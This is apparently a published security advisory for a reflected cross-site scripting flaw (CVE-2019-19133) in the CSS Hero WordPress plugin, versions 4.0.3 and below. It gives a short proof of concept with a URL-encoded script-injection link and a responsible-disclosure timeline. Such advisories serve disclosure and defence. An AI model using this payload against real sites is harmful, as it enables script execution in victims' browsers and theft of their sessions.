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WordPress CSS Hero 4.0.3 Cross Site Scripting

WordPress CSS Hero 4.0.3 Cross Site Scripting
Posted Dec 4, 2019
Authored by Cary Hooper

WordPress CSS Hero plugin versions 4.0.3 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-19133
SHA-256 | f5303ca72b46a5c0f3a05bb3e7c8f0016aff5280f91141e959f1e869541394ba

WordPress CSS Hero 4.0.3 Cross Site Scripting

Change Mirror Download
Team,


Document Title

===============

CVE-2019-19133

Reflected XSS in CSS Hero (<= v.4.0.3) WordPress plugin.



Product Description

===============

CSS Hero WordPress Plugin

A live WordPress Theme editor that works without modifying any of your
theme files. Very low performance footprint: only generates and adds a
single static CSS file to your site.

Homepage: https://www.csshero.org/



CSS Hero is vulnerable to a reflected XSS attack (authenticated).



PoC

===============

Steps:

1) Authenticate to the WordPress application with the CSS Hero plugin installed.

2) Navigate to the following vulnerable link:



hxxp://
vulnerable.wordpress.com/?csshero_action=edit_page&rand=1015&foo%22%3E%3C/iframe%3E%3Cscript%3Ealert(%27Reflected%20XSS%20in%20CSS%20Hero%204.0.3%27)%3C/script%3E%3Ciframe%3Ebar

3) JavaScript executes within the context of the browser. The
arbitrary parameter and value are reflected into the returned HTML.



Responsible Disclosure Information

===============

Vendor Contacted: 11/17

Date Patched: 11/20

Patched Version: v.4.0.7

Public Disclosure: 12/2



Cary Hooper

@nopantrootdance


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